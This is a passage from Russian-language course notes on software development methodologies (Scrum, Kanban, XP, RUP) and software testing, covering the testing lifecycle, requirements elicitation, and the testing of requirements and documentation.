(спринт-бэклог), однако команда оценила, что не все из этого списка они успеют выполнить. Тогда PR- менеджер (он же Владелец продукта) говорит, какие из этого списка задач более приоритетные на ближайшие 2 недели, после чего команда берется за выполнение заданий. Единственное, что здесь должно быть учтено, что, на момент планирования первого спринта, должен быть спланирован весь список заданий на 2 месяца (productбэклог), чтобы не получилось так, что к моменту проведения мероприятия что-то не выполнено. Жизненный цикл спринта **1.Планирование спринта.** В начале каждого спринта проводится планирование этого самого спринта. В планировании спринта участвуют заказчики, пользователи, менеджмент, Product Owner, Скрам Мастер и команда. Планирование спринта состоит из двух последовательных митингов. 1)Планирование спринта, митинг первый. Участники: команда, Product Owner, Scrum Master, пользователи, менеджмент Цель: Определить цель спринта (Sprint Goal) и Sprint Backlog -функциональность, которая будет разработана в течение следующего спринта для достижения цели спринта. Артефакт: Sprint Backlog 2) Планирование спринта, митинг второй. Участники: Скрам Мастер, команда Цель: определить, как именно будет разрабатываться определенная функциональность для того, чтобы достичь цели спринта. Для каждого элемента Sprint Backlog определяется список задач и оценивается их продолжительность. Артефакт: в Sprint Backlog появляются задачи Если в ходе спринта выясняется, что команда не может успеть сделать запланированное на спринт, то Скрам Мастер, Product Owner и команда встречаются и выясняют, как можно сократить scope работ и при этом достичь цели спринта. **2.Остановка спринта \(Sprint Abnormal Termination\).** Остановка спринта производится в исключительных ситуациях. Спринт может быть остановлен до того, как закончатся отведенные 30 дней. Спринт может остановить команда, если понимает, что не может достичь цели спринта в отведенное время. Спринт может остановить Product Owner, если необходимость в достижении цели спринта исчезла. После остановки спринта проводится митинг с командой, где обсуждаются причины остановки спринта. После этого начинается новый спринт: производится его планирование и стартуются работы. **3.Daily Scrum Meeting.** Этот митинг проходит каждое утро в начале дня. Он предназначен для того, чтобы все члены команды знали, кто и чем занимается в проекте. Длительность этого митинга строго ограничена и не должна превышать 15 минут. Цель митинга — поделиться информацией. Он не предназначен для решения проблем в проекте. Все требующие специального обсуждения вопросы должны быть вынесены за пределы митинга. Скрам митинг проводит Скрам Мастер. Он по кругу задает вопросы каждому члену команды: • Что сделано вчера? • Что будет сделано сегодня? • С какими проблемами столкнулся? Скрам Мастер собирает все открытые для обсуждения вопросы в виде Action Items, например, в формате что/кто/когда, например: • Обсудить проблему с отрисовкой контрола. • Петя и Вася. • Сразу после скрама. Диаграмма сгорания задач (Burndown chart) Диаграмма, которая показывает количество сделанной и оставшейся работы. Обновляется ежедневно с тем, чтобы в простой форме показать подвижки в работе над спринтом. График должен быть общедоступен. Существуют разные виды диаграммы: • Диаграмма сгорания работ для спринта — показывает, сколько уже задач сделано и сколько ещё остаётся сделать в текущем спринте. • Диаграмма сгорания работ для выпуска проекта показывает, сколько уже задач сделано и сколько ещё остаётся сделать до выпуска продукта (обычно строится на базе нескольких спринтов). Ретроспектива В конце каждого Спринта Скрам Команда собирается на ретроспективу. Цель: пересмотреть качество существующих процессов, взаимоотношения людей и применяемые инструменты. Команда определяет, что прошло хорошо, а что прошло не очень, а также выявляет потенциальные возможности для улучшений. Они создают план улучшений на будущее. Канбан Термин "канбан" имеет дословный перевод: «Кан» значит видимый, визуальный и «бан» карточка или доска. На заводах Тойота карточки "канбан" используются повсеместно для того, чтобы не загромождать склады и рабочие места заранее созданными запчастями. Например, представьте, что Вы ставите двери на Тойота Королла. У Вас возле рабочего места находится пачка из 10 дверей. Вы их ставите одну за другой на новые машины и, когда в пачке остается 5 дверей, то Вы знаете, что пора заказать новые двери. Вы берете карточку "канбан", пишете на ней заказ на 10 дверей и относите ее тому, кто делает двери. Вы знаете, что он их сделает как раз к тому моменту, как у Вас закончатся оставшиеся 5 дверей. И именно так и происходит: когда Вы ставите последнюю дверь, прибывает пачка из 10 новых дверей. И так постоянно: Вы заказываете новые двери только тогда, когда они вам нужны. А теперь представьте, что такая система действует на всём заводе. Нигде нет складов, где запчасти лежат неделями и месяцами. Все работают только по запросу и производят именно столько запчастей, сколько запрошено. Если вдруг заказов стало больше или меньше, то система сама легко подстраивается под изменения. Основная задача карт "канбан" в этой системе — это уменьшение количества «выполняющейся в данный момент работы» (work in progress). Например, на всю производственную линию может быть выделено ровно 10 карточек для дверей. Это значит, что в каждый момент времени на линии не будет больше 10 готовых дверей. Когда заказывать новые двери и сколько — это задача для того, кто их устанавливает. Только он знает свои потребности и только он может помещать заказы производителю дверей, но он всегда ограничен числом 10. Этот метод Бережливого производства (Lean manufacturing) был придуман в Тойота, и сейчас многие производственные компании по всему миру его внедряют или уже внедрили. Но это всё относится к производству, а не к разработке программного обеспечения. А что же такое канбан- разработка применительно к ПО и чем она отличается от других гибких методологий, будь то SCRUM или XP? Во-первых, нужно сразу понять, что канбан — это не конкретный процесс, а система ценностей. Как, впрочем, и SCRUM с XP. Это значит, что никто Вам не скажет, что и как делать по шагам. Во-вторых, весь канбан можно описать одной простой фразой — «уменьшение выполняющейся в данный момент работы (work in progress)». В-третьих, канбан — это даже еще более «гибкая» методология, чем SCRUM и XP. Это значит, что она не подойдет всем командам и для всех проектов. И это также значит, что команда должна быть еще более готовой к гибкой работе, чем даже команды, использующие SCRUM и XP. Разница между канбан и SCRUM: • В канбан нет таймбоксов ни на что (ни на задачи, ни на спринты). • В канбан задачи больше и их меньше. • В канбан оценки сроков на задачу опциональные или вообще их нет. • В канбан «скорость работы команды» отсутствует и считается только среднее время на полную реализацию задачи. Канбан-разработка отличается от SCRUM, в первую очередь, ориентацией на задачи. Если в SCRUM основная ориентация команды — это успешное выполнение спринтов (надо признать, что это так), то в канбан на первом месте задачи. Спринтов никаких нет, команда работает над задачей с самого начала и до завершения. Деплоймент задачи делается тогда, когда она готова. Презентация выполненной работы — тоже. Команда не должна оценивать время на выполнение задачи, ибо это имеет мало смысла и почти всегда ошибочна вначале. Если менеджер верит команде, то зачем иметь оценку времени? Задача менеджера — это создать приоритезированный пул задач, а задача команды — выполнить как можно больше задач из этого пула. Всё. Никакого контроля не нужно. Всё, что нужно от менеджера — это добавлять задачи в этот пул или менять им приоритет. Именно так он управляет проектом. Команда для работы использует канбан-доску. Например, она может выглядеть так: Столбцы слева направо: • Цели проекта: необязательный, но полезный столбец. Сюда можно поместить высокоуровневые цели проекта, чтобы команда их видела и все про них знали. Например, «Увеличить скорость работы на 20%» или «Добавить поддержку Windows 7». • Очередь задач: тут хранятся задачи, которые готовы к тому, чтобы начать их выполнять. Всегда для выполнения берется верхняя, самая приоритетная задача и ее карточка перемещается в следующий столбец. • Проработка дизайна: этот и остальные столбцы до «Закончено» могут меняться, т.к. именно команда решает, какие шаги проходит задача до состояния «Закончено». Например, в этом столбце могут находиться задачи, для которых дизайн кода или интерфейса еще не ясен и обсуждается. Когда обсуждения закончены, задача передвигается в следующий столбец. • Разработка: тут задача висит до тех пор, пока разработка фичи не завершена. После завершения она передвигается в следующий столбец. Или ,если архитектура не верна или неточна, задачу можно вернуть в предыдущий столбец. • Тестирование: в этом столбце задача находится, пока она тестируется. Если найдены ошибки — возвращается в Разработку. Если нет — передвигается дальше. • Деплоймент: у всех проектов свой деплоймент. У кого-то это значит выложить новую версию продукта на сервер, а у кого-то — просто закомитить код в репозиторий. • Закончено: сюда стикер попадает только тогда, когда все работы по задаче закончены полностью. В любой работе случаются срочные задачи. Запланированные или нет, но такие, которые надо сделать прямо сейчас. Для таких можно выделить специальное место (на картинке отмечено, как «Expedite»). В Expedite можно поместить одну срочную задачу и команда должна начать ее выполнять немедленно и завершить как можно быстрее. Но может быть только одна такая задача! Если появляется еще одна — она должна быть добавлена в «Очередь задач». А теперь самое важное. Видите цифры под каждым столбцом? Это число задач, которые могут быть одновременно в этих столбцах. Цифры подбираются экспериментально, но, считается, они должны зависеть от числа разработчиков в команде. Например, если вы имеете 8 программистов в команде, то в строку «Разработка» вы можете поместить цифру 4. Это значит, что одновременно программисты будут делать не более 4-х задач, значит, у них будет много причин для общения и обмена опытом. Если вы поставите туда цифру 2, то 8 программистов, занимающихся двумя задачами, могут заскучать или терять слишком много времени на обсуждениях. Если поставить 8, то каждый будет заниматься своей задачей и некоторые задачи будут задерживаться на доске надолго, а ведь главная задача канбан — это уменьшение времени прохождения задачи от начала до стадии готовности. Никто не даст точный ответ, какими должны быть эти лимиты, но попробуйте, для начала, разделить число разработчиков на 2 и посмотреть, как это работает в вашей команде. Потом эти числа можно подогнать под вашу команду. Под «разработчиками» понимаются не только программисты, но и другие специалисты. Например, для столбца «Тестирование» разработчики — это тестеры, т.к. тестирование — это их обязанность. Экстремальное программирование (XP) Двенадцать основных приёмов экстремального программирования (по первому изданию книги Extreme programming explained) могут быть объединены в четыре группы: 1.Короткий цикл обратной связи (Fine-scale feedback): • Разработка через тестирование (Test-driven development). • Игра в планирование (Planning game). • Заказчик всегда рядом (Whole team, Onsite customer). • Парное программирование (Pair programming). 2.Непрерывный, а не пакетный процесс: • Непрерывная интеграция (Continuous integration). • Рефакторинг (Design improvement, Refactoring). • Частые небольшие релизы (Small releases). 3.Понимание, разделяемое всеми: • Простота (Simple design). • Метафора системы (System metaphor). • Коллективное владение кодом (Collective code ownership) или выбранными шаблонами проектирования (Collective patterns ownership). • Стандарт кодирования (Coding standard or Coding conventions). 4.Социальная защищенность программиста (Programmer welfare): • 40-часовая рабочая неделя (Sustainable pace, Forty-hour week). RATIONAL UNIFIED PROCESS (RUP) RATIONAL UNIFIED PROCESS (RUP) — методология разработки программного обеспечения, созданная компанией Rational Software. В основе методологии лежат 6 основных принципов: • Компонентная архитектура, реализуемая и тестируемая на ранних стадиях проекта. • Работа над проектом в сплочённой команде, ключевая роль в которой принадлежит архитекторам. • Ранняя идентификация и непрерывное устранение возможных рисков. • Концентрация на выполнении требований заказчиков к исполняемой программе. • Ожидание изменений в требованиях, проектных решениях и реализации в процессе разработки. • Постоянное обеспечение качества на всех этапах разработки проекта. Использование методологии RUP направлено на итеративную модель разработки. Особенность методологии состоит в том, что степень формализации может меняться в зависимости от потребностей проекта. Можно создавать все требуемые документы и достигнуть максимального уровня формализации, по окончании каждого этапа и каждой итерации а можно создавать только необходимые для работы документы, вплоть до полного их отсутствия. За счет такого подхода к формализации процессов методология является достаточно гибкой и широко популярной. Данная методология применима как в небольших и быстрых проектах, где за счет отсутствия формализации требуется сократить время выполнения проекта и расходы, так и в больших и сложных проектах, где требуется высокий уровень формализма, например, с целью дальнейшей сертификации продукта. Это преимущество дает возможность использовать одну и ту же команду разработчиков для реализации различных по объему и требованиям. Тема 4. Жизненный цикл тестирования Следуя общей логике итеративности, превалирующей во всех современных моделях разработки ПО, жизненный цикл тестирования также выражается замкнутой последовательностью действий (Рис. 4.1.). Важно понимать, что длина такой итерации (и, соответственно, степень подробности каждой стадии) может варьироваться в широчайшем диапазоне — от единиц часов до десятков месяцев. Как правило, если речь идёт о длительном промежутке времени, он разбивается на множество относительно коротких итераций, но сам при этом «тяготеет» к той или иной стадии в каждый момент времени (например, в начале проекта больше планирования, в конце — больше отчётности). Также ещё раз стоит подчеркнуть, что приведённая схема — не догма, но общая суть и ключевые принципы остаются неизменными. Их и рассмотрим. Рис. 4.1. Жизненный цикл тестирования Стадия 1 (общее планирование и анализ требований) объективно необходима, как минимум, для того, чтобы иметь ответ на такие вопросы, как: что нам предстоит тестировать; как много будет работы; какие есть сложности; всё ли необходимое у нас есть и т.п. Как правило, получить ответы на эти вопросы невозможно без анализа требований, т.к. именно требования являются первичным источником ответов. Стадия 2 (уточнение критериев приёмки) позволяет сформулировать или уточнить метрики и признаки возможности или необходимости начала тестирования, приостановки и возобновления тестирования, завершения или прекращения тестирования. Стадия 3 (уточнение стратегии тестирования) представляет собой ещё одно обращение к планированию, но уже на локальном уровне: рассматриваются и уточняются те части стратегии тестирования, которые актуальны для текущей итерации. Стадия 4 (разработка тест-кейсов) посвящена разработке, пересмотру, уточнению, доработке, переработке и прочим действиям с тест-кейсами, наборами тест-кейсов, тестовыми сценариями и иными артефактами, которые будут использоваться при непосредственном выполнении тестирования. Стадия 5 (выполнение тест-кейсов) и стадия 6 (фиксация найденных дефектов) тесно связаны между собой и фактически выполняются параллельно: дефекты фиксируются сразу по факту их обнаружения в процессе выполнения тест-кейсов. Однако зачастую после выполнения всех тест-кейсов и написания всех отчётов о найденных дефектах проводится явно выделенная стадия уточнения, на которой все отчёты о дефектах рассматриваются повторно с целью формирования единого понимания проблемы и уточнения таких характеристик дефекта, как важность и срочность. Стадия 7 (анализ результатов тестирования) и стадия 8 (отчётность) также тесно связаны между собой и выполняются практически параллельно. Формулируемые на стадии анализа результатов выводы напрямую зависят от плана тестирования, критериев приёмки и уточнённой стратегии, полученных на стадиях 1, 2 и 3. Полученные выводы оформляются на стадии 8 и служат основой для стадий 1, 2 и 3 следующей итерации тестирования. Таким образом, цикл замыкается. Тема 5. Требования Что такое «требование» Как мы только что рассмотрели в главе, посвящённой жизненному циклу тестирования, всё так или иначе начинается с документации и требований. Требование — описание того, какие функции и с соблюдением каких условий должно выполнять приложение в процессе решения полезной для пользователя задачи. Важность требований Требования являются отправной точкой для определения того, что проектная команда будет проектировать, реализовывать и тестировать. Элементарная логика говорит нам, что если в требованиях что-то «не то», то и реализовано будет «не то», т.е. колоссальная работа множества людей будет выполнена впустую. Описывая важность требований, подчёркивается, что они: • Позволяют понять, что и с соблюдением каких условий система должна делать. • Предоставляют возможность оценить масштаб изменений и управлять изменениями. • Являются основой для формирования плана проекта (в том числе плана тестирования). • Помогают предотвращать или разрешать конфликтные ситуации. • Упрощают расстановку приоритетов в наборе задач. • Позволяют объективно оценить степень прогресса в разработке проекта. Вне зависимости от того, какая модель разработки ПО используется на проекте, чем позже будет обнаружена проблема, тем сложнее и дороже будет её решение. А в самом начале («водопада», «спуска по букве v», «итерации», «витка спирали») идёт планирование и работа с требованиями. Если проблема в требованиях будет выяснена на этой стадии, её решение может свестись к исправлению пары слов в тексте, в то время как недоработка, вызванная пропущенной проблемой в требованиях и обнаруженная на стадии эксплуатации, может даже полностью уничтожить проект. В общем случае документацию можно разделить на два больших вида в зависимости от времени и места её использования. Продуктная документация (product documentation, development documentation) используется проектной командой во время разработки и поддержки продукта. Она включает: • План проекта (project management) и в том числе тестовый план (test). • Требования к программному продукту (product requirements document)и функциональные спецификации (functional specifications document, FSD; software requirements specification, SRS). • Архитектуру и дизайн (architecture and design). • Тест-кейсы и наборы тест-кейсов (test cases, test suites). • Технические спецификации (technical specifications), такие как схемы баз данных, описания алгоритмов, интерфейсов и т.д. Проектная документация (project documentation) включает в себя как продуктную документацию, так и некоторые дополнительные виды документации и используется не только на стадии разработки, но и на более ранних и поздних стадиях (например, на стадии внедрения и эксплуатации). • Пользовательскую и сопроводительную документацию (user and accompanying documentation), такую как встроенная помощь, руководство по установке и использованию, лицензионные соглашения и т.д. • Маркетинговую документацию (market requirements document, MRD),которую представители разработчика или заказчика используют как на начальных этапах (для уточнения сути и концепции проекта), так и на финальных этапах развития проекта (для продвижения продукта на рынке). Источники и пути выявления требований: • Интервью, опросы, анкетирование. • Мозговой штурм, семинар. • Наблюдение за производственной деятельностью, «фотографирование» рабочего дня. • Анализ нормативной документации. • Анализ моделей деятельности. • Анализ конкурентных продуктов. • Анализ статистики использования предыдущих версий системы. • Совещание. • Use case. Анкетирование Данный способ подразумевает под собой составление листа-опросника (анкеты, брифа), который может содержать открытые (требуют от опрашиваемого сформулировать его ответ) и закрытые (требуют от опрашиваемого выбрать ответ из предложенных вариантов) вопросы. Анкетирование используется для того, чтобы подтвердить или детализировать ранее известные требования, выбрать параметры для решений. Самым известным примером анкетирования может быть “Бриф на разработку сайта” — анкета содержащая список основных требований и информацию о будущем сайте. Преимущества: 1. Высокая скорость получения результатов. 2. Сравнительно небольшие материальные затраты. Недостатки: 1. Данный метод не подходит для выявления неявных требований. 2. При составлении опросника физически невозможно учесть все необходимые вопросы. Интервью Этот метод известен многим в качестве своего рода беседа “по душам” с заинтересованным лицом, тет-а-тет. Необходимо задавать открытые вопросы для получения информации и закрытые для того, чтобы подтвердить или опровергнуть конкретные варианты требований. Данный способ применяется, в основном, для получения информации по какой-либо конкретной теме и/или для уточнения требований. Многим этот способ может показаться достаточно легким, но это не так. Провести хорошее интервью достаточно сложно. Вы должны гибко реагировать на реакцию интервьюируемого и, в случае необходимости, изменять порядок заготовленных вопросов или их формулировку. Не забудьте включить диктофон во время интервью или вести заметки. Из плюсов: 1. Возможность задавать вопросы в произвольной последовательности. 2. Возможность использовать вспомогательный материал. 3. Анализ невербальной реакции опрашиваемого человека, позволит сделать дополнительный вывод о достоверности его ответов. Из минусов: 1. Интервью отнимает достаточно много времени и сил. 2. Дополнительной сложностью является получение одинаковых ответов от интервьюируемых. Анализ нормативной документации Данная методика может быть использована при наличии в организации документации, которая может помочь в определении потребностей заказчика. Примеры документации включают в себя: регламенты, описания процессов, структура организации, спецификации продукта, различные процедуры, стандарты и инструкции, шаблоны документов и т.д. Выявленные требования являются основой для дальнейшего анализа и должны быть детализированы. Данная методика применима, например, при автоматизации устоявшихся в организации регламентированных бизнес процессов. Плюс: • Быстрое получение информации. Минус: • Данный способ не применим при наличии в компании только базовых документов (или при их полном отсутствии) или, если в компании заказчика не поддерживается актуальность документации. Мозговой штурм Мозговой штурм — наиболее часто используемый метод получения требований, которые связаны с новыми или плохо изученными направлениями деятельности организации заказчика или функциями системы. Он позволяет собрать множество идей от различных заинтересованных лиц (стейкхолдеров) в кратчайшие сроки и практически бесплатно. Во время мозгового штурма участники «накидывают» любые идеи, касающиеся решения данной проблемы. С помощью этой методики можно проработать несколько различных вариантов решения заданной проблемы, а также разрешить конфликты требований. Плюсы: • Позволяет генерировать множество (в том числе и нестандартных) вариантов решений, а также позволяет участникам развивать идеи друг друга. Минусы: • Участники мозгового штурма должны быть мотивированы на идеи. • Трудно применим в распределенных командах. Совещание Совещание — встреча, ориентированная на обсуждение конкретных вопросов, которые были определены и озвучены участникам заранее. На такие встречи привлекаются люди, которые придерживаются различных точек зрения по текущей проблеме и могут помочь описать требования, основываясь на взглядах с разных сторон. В процессе совещания уточняется общий список требований, выявляются скрытые требования и решаются конфликты требований. Совещания являются одной из ключевых практик в Agile, т.к. в них участвуют все заинтересованные в развитии проекта и решении проблемы стороны. Плюсы: • Позволяет развить и детализировать требования, определить приоритеты. Недостатки: • Сложности в организации встречи, если команда географически разделена, могут возникнуть трудности с присутствием всех необходимых людей на совещании. • Консенсус необязательно будет достигнут. Use case Use cases или варианты использования позволяют собрать и сформировать функциональные требования от лица участников. Диаграммы вариантов использования определяют границы решения и показывают связи с внешними системами и участниками. Метод позволяет детализировать требования с точки зрения пользователей, а также помогает уточнить и систематизировать функционал, который требуется реализовать. Плюсы: • Позволяет проработать все варианты развития сценария (основной и альтернативные сценарии). Минусы: • Метод не применим для сбора нефункциональных требований. Тема 6. Анализ требований Параметры тестирования документации 1. Четкость и ясность Начать тестирование требований можно с поверхностного осмотра документации. Это сложно назвать именно тестированием, но нередко уже на данном этапе выявляется немало недочетов. Начнем с обычного сценария. Вы начали читать требования и уже с первых строк у Вас возникает масса вопросов к автору (например, «Каков ожидаемый результат после нажатия на эту кнопку?» или «Что будет, если я отменю заказ?»). Это плохо. После прочтения документации не должно быть вопросов. Совсем. Требования – это как свод законов для продукта, а законы не допускают двусмысленность, «воду» и неточности. Документация должна давать предельно ясную информацию о том, как должен работать каждый отдельный модуль и весь продукт в целом. К сожалению, после прочтения большинства требований остается целый ряд вопросов. Пример. В требованиях было записано: «В поле «Имя пользователя» могут быть введены буквы и цифры». Разработчик начал выяснять у аналитика, какие именно буквы (кириллица, латиница или арабские) и какие цифры (целые, дробные, римские) имеются в виду. После уточнения требований разработчик реализовал функционал согласно комментариям аналитика. Задача перешла в тестирование. Тестировщик не понимал, по каким критериям проверять данное поле, и тоже начал расспрашивать аналитика. Последствия: • Затраченное время нескольких членов команды. • Несовпадение итогового и изначально планируемого функционалов. Как тестировать: • Если у Вас после прочтения требований остались вопросы – необходима доработка. • Если разработчики часто уточняют детали в чатах – это плохой знак. Дальнейшее («более глубокое») исследование требует гораздо больших временных затрат. 2. Актуальность Необходимость поддержания актуальности требований кажется очевидной. Однако, на некоторых проектах требования не обновляются месяцами, а то и годами. Это может быть связано с тем, что в штате нет аналитика, а у исполняющего его обязанности сотрудника просто не хватает времени. Случается и другое: требования обновляют только при наличии действительно значимых изменений, при этом различные «мелочи», в виде изменения кнопок или текстов, игнорируются. Пример. Было решено изменить положение кнопок на странице авторизации. Аналитик не стал править документацию, а написал разработчику личное сообщение с просьбой поправить расположение кнопок. Разработчик внес правки и закрыл задачу. Во время очередного регрессионного тестирования тестировщик решил, что это дефект, и завел на него баг. Другой разработчик вернул кнопки на прежние позиции согласно документации. Последствия: • Время нескольких членов команды потрачено впустую. • Итоговая позиция кнопок не соответствует ожидаемому результату. Как тестировать: • При наличии подобных сообщений в командном чате нужно убедиться, что обновленные требования задокументированы. • Необходимо сравнить даты обновления технического задания и пояснительной записки с датой последнего обновления требований. 3. Логика Как следует из названия, работа системы должна быть логичной. Пользователь не может изменить настройки своего профиля или написать письмо до того, как пройдет авторизацию в системе. Звучит, опять же, элементарно, но в проектах со множеством клиентов или со сложной логикой подобные ошибки часто допускаются. Пример. В мобильном приложении появилась необходимость реализовать функционал электронной подписи документа. Пользователю предлагалось ввести свои данные, после чего они автоматически подставлялись в шаблон документа. Приложение открывало документ и предлагало его подписать. Если пользователь понимал, что в документе есть ошибки, то исправить он их уже не мог: у него была возможность только подписать этот документ. Закрытие приложения или его переустановка не помогали – при входе пользователя в аккаунт сразу отображался тот же документ на подпись. Последствия: • Пользователь в бешенстве. • Дальнейшая работа с аккаунтом без обращения в техподдержку невозможна. Как тестировать: • Нарисовать примерную блок-схему работы системы в соответствии с требованиями и убедиться, что в ней нет логических пробелов. • Убедиться, что в требованиях описан необходимый основной функционал. • Убедиться, что взаимодействие между модулями системы изложено корректно. 4. Возможные сценарии В документации должны быть подробно описаны как очевидные, так и неочевидные варианты использования системы. К очевидным (позитивным) вариантам, например, можно отнести ввод корректной пары логин/пароль. К неочевидным (негативным) – ввод некорректной пары логин/ пароль или отсутствие этих данных вовсе. Пример. Часто из виду упускаются такие моменты, как тексты ошибок, поведение системы при потере связи, а также обработка ошибок, связанных со сторонними сервисами (например, с оплатой). Последствия: • При потере связи система ведет себя некорректно (отсутствие ошибок, зависание). • Сообщения об ошибках не очевидны. • В худшем случае возможны репутационные или финансовые потери. Как тестировать: • Нарисовать блок-схему отдельного модуля системы, в рамках которой обозначить все возможные условия и действия пользователя. • Убедиться, что в требованиях есть описание каждого возможного случая. 5. Интеграция Имеет смысл выделить интеграцию со сторонними сервисами, так как здесь приходится выходить за рамки проверки документации. Перед началом разработки аналитики, как правило, изучают работу сторонней системы, а затем описывают схему взаимодействия этой системы с разрабатываемым продуктом. В данном случае, вероятность ошибки очень велика, так как ошибиться могут как аналитики, так и представители стороннего сервиса, которые консультировали или писали документацию. Пример. На проекте необходимо было реализовать возможность авторизации через сторонний сервис. Аналитик по ошибке изучил устаревшую документацию стороннего сервиса и описал заведомо нерабочую схему взаимодействия. Разработчики начали работу, в соответствии с готовой схемой, но постоянно получали ошибки. Они «допрашивали» аналитика, а тот в спешке звонил в техподдержку стороннего сервиса и выяснял причины ошибок. Последствия: • Задержка разработки функционала на неделю. Как тестировать: • Необходимо вручную проверить, что сторонний сервис обрабатывает все необходимые запросы, в соответствии с описанной схемой. • Проверить, указал ли аналитик корректно и в полном объеме всю необходимую для разработки информацию. Тема 7. Тестирование документации Документация– это еще одна составляющая программного продукта любой уважающей себя организации, занимающейся разработкой программного обеспечения. Но не все организации уделяют достаточное количество времени разработке стоящей документации. Очень часто нам приходится иметь дело с толковым программным продуктом и невзрачным, непонятным и беспомощным документным сопровождением. Попробуем собрать воедино критерии тестирования, образующие квинтэссенцию качественной документации. Думаю, будет справедливым, если мы опустим такое всем понятное правило, как грамматика, так как не в ней одной таится успешный релиз. В целом, документация создается для возможности грамотно и без паники найти выход или решение из любой возникшей проблемной ситуации человеку из самым низким знанием принципов разработки программного обеспечения. От этого принципа необходимо отталкиваться, продумывая содержание и структуру наших мануалов. И так, начнем: • Полнота и соответствие действительности. Любая документация должна содержать описание именно той функциональности, которая присутствует в приложении. И данное описание должно касаться абсолютно всей функциональности, а не только наиболее значимой. • Навигация. И не просто навигация, а удобная навигация. У пользователя никогда не должно возникать проблем с поиском необходимой ему информации. Древовидная структура файлов, закладки и прочее должны быть на видном месте сразу, как пользователь открывает документ. Алфавитный указатель, поиск – должно присутствовать все, что поможет найти решение или описание проблемы. • Из пункта выше вытекает структурированность документации. Все документы должны находится в полном порядке, по разделам. Также, текст должен быть с четкой структурой, чтобы можно было в любой момент вспомнить, где остановился или понять, в каком абзаце содержится именно та информация, которая нам необходима. • Инструкции должны присутствовать везде. Даже при выполнении абсолютно одинаковых манипуляций с программой необходимо пошаговое описание действий во всех случаях. Это может быть как прямое повторение инструкций, так и ссылка на уже существующие. • Термины и их значение. В любой документации может использоваться масса терминов, аббревиатур и сокращений. Каждый из них должен иметь свое значение и расшифровку. • Доступность пользователю. Документация должна быть максимально понятной для любой целевой аудитории. • Если документация создана и для иностранных пользователей, то необходимо привлечение специалистов данного лингвистического сектора, вплоть до носителей языка. Основные принципы тестирования требований • Тестирование требований лучше проводить до старта разработки. Для этого нужно рассчитать необходимое время на проверку и заморозить тестируемую документацию до окончания проверки. • Проводить тестирование требований могут как аналитики, так и тестировщики. Однако, для достижения лучшего результата описание и проверку требований следует поручать разным людям. • Выявление дефектов по документации ничем не отличается от выявления дефектов по продукту: баги следует заносить в систему баг-трекинга как обычно. • В том случае, когда проверка требований ведется параллельно с разработкой, крайне желательно предупредить команду разработки о найденных дефектах (чтобы они могли вовремя исправить ошибку). • Уровень детализации требований (как и глубина тестирования) сильно зависит от уровня проекта. Нет смысла проверять время реакции на кнопку в проекте, который только запустился (если это, конечно, не относится к ключевому функционалу). Существует еще много требований к составлению и тестированию документации. Сегодня мы рассмотрели основные положения. Но главное правило, которое поможет нам – это умение ставить себя на место пользователя, попавшего в определенную проблемную ситуацию. Свойства качественных требований В процессе тестирования требований проверяется их соответствие определённому набору свойств: • Атомарность, единичность (atomicity). Требование является атомарным, если его нельзя разбить на отдельные требования без потери завершённости и оно описывает одну и только одну ситуацию. • Непротиворечивость, последовательность (consistency). Требование не должно содержать внутренних противоречий и противоречий другим требованиям и документам. • Недвусмысленность (unambiguousness, clearness). Требование должно быть описано без использования жаргона, неочевидных аббревиатур и расплывчатых формулировок, а также должно допускать только однозначное объективное понимание и быть атомарным в плане невозможности различной трактовки сочетания отдельных фраз. • Обязательность, нужность (obligatoriness) актуальность (up-to-date). Если требование не является обязательным к реализации, то оно должно быть просто исключено из набора требований. Если требование нужное, но «не очень важное», для указания этого факта используется указание приоритета (см. «проранжированность по...»). Также должны быть исключены (или переработаны) требования, утратившие актуальность. • Прослеживаемость (traceability). Прослеживаемость бывает вертикальной (vertical traceability) и горизонтальной (horizontal traceability). Вертикальная прослеживаемость позволяет соотносить между собой требования на различных уровнях требований, горизонтальная - соотносить требование с тест-планом, тесткейсами, архитектурными решениями и т.д. Для обеспечения прослеживаемости часто используются специальные инструменты по управлению требованиями (requirements management tool) и/или матрицы прослеживаемости (traceability matrix). • Модифицируемость (modifiability) - это свойство характеризует внесения изменений в отдельные требования и в набор требований. Можно говорить о наличии модифицируемости в том случае, если, при доработке требований, искомую информацию легко найти, а её изменение не приводит к нарушению иных описанных в этом перечне свойств. • Проранжированность по важности, стабильности, срочности (ranked for importance, stability, priority). Важность характеризует зависимость успеха проекта от успеха реализации требования. Стабильность характеризует вероятность того, что в ближайшем будущем в требование не будет внесено никаких изменений. Срочность определяет распределение по времени усилий проектной команды по реализации того или иного требования. • Корректность (correctness) ипроверяемость(verifiability). Фактически, эти свойства вытекают из соблюдения всех вышеперечисленных (или ,можно сказать, они не выполняются, если нарушено хотя бы одно из вышеперечисленных). В дополнение, можно отметить, что проверяемость подразумевает возможность создания объективного тест-кейса (тест-кейсов), однозначно показывающего, что требование реализовано верно и поведение приложения в точности соответствует требованию. Техники тестирования требований Тестирование документации и требований относится к разряду нефункционального тестирования (non-functional testing). Основные техники такого тестирования в контексте требований таковы: • Взаимный просмотр (peer review) или «рецензирование» является одной из наиболее активно используемых техник тестирования требований и может быть представлен в одной из трёх следующих форм (по мере нарастания его сложности и цены): • Беглый просмотр (walkthrough) может выражаться как в показе автором своей работы коллегам с целью создания общего понимания и получения обратной связи, так и в простом обмене результатами работы между двумя и более авторами с тем, чтобы коллега высказал свои вопросы и замечания. Это самый быстрый, дешёвый и часто используемый вид просмотра. Для запоминания: аналог беглого просмотра — это ситуация, когда вы в школе с одноклассниками проверяли перед сдачей сочинения друг друга, чтобы найти описки и ошибки. • Технический просмотр (technical review) выполняется группой специалистов. В идеальной ситуации - каждый специалист должен представлять свою область знаний. Тестируемый продукт не может считаться достаточно качественным, пока хотя бы у одного просматривающего остаются замечания. Для запоминания: аналог технического просмотра — это ситуация, когда некий договор визирует юридический отдел, бухгалтерия и т.д. • Формальная инспекция (inspection) представляет собой структурированный, систематизированный и документируемый подход к анализу документации. Для его выполнения привлекается большое количество специалистов. Само выполнение занимает достаточно много времени, потому этот вариант просмотра используется достаточно редко (как правило, при получении на сопровождение и доработку проекта, созданием которого ранее занималась другая компания). Для запоминания: аналог формальной инспекции — это ситуация генеральной уборки квартиры (включая содержимое всех шкафов, холодильника, кладовки и т.д.). • Вопросы. Следующей очевидной техникой тестирования и повышения качества требований является использование (повторное) техник выявления требований, а также (как отдельный вид деятельности) — постановка вопросов. Если хоть что-то в требованиях вызывает у вас непонимание или подозрение, то задавайте вопросы. Можно спросить представителей заказчика или же обратиться к справочной информации. По многим вопросам можно обратиться к более опытным коллегам при условии, что у них имеется соответствующая информация, ранее 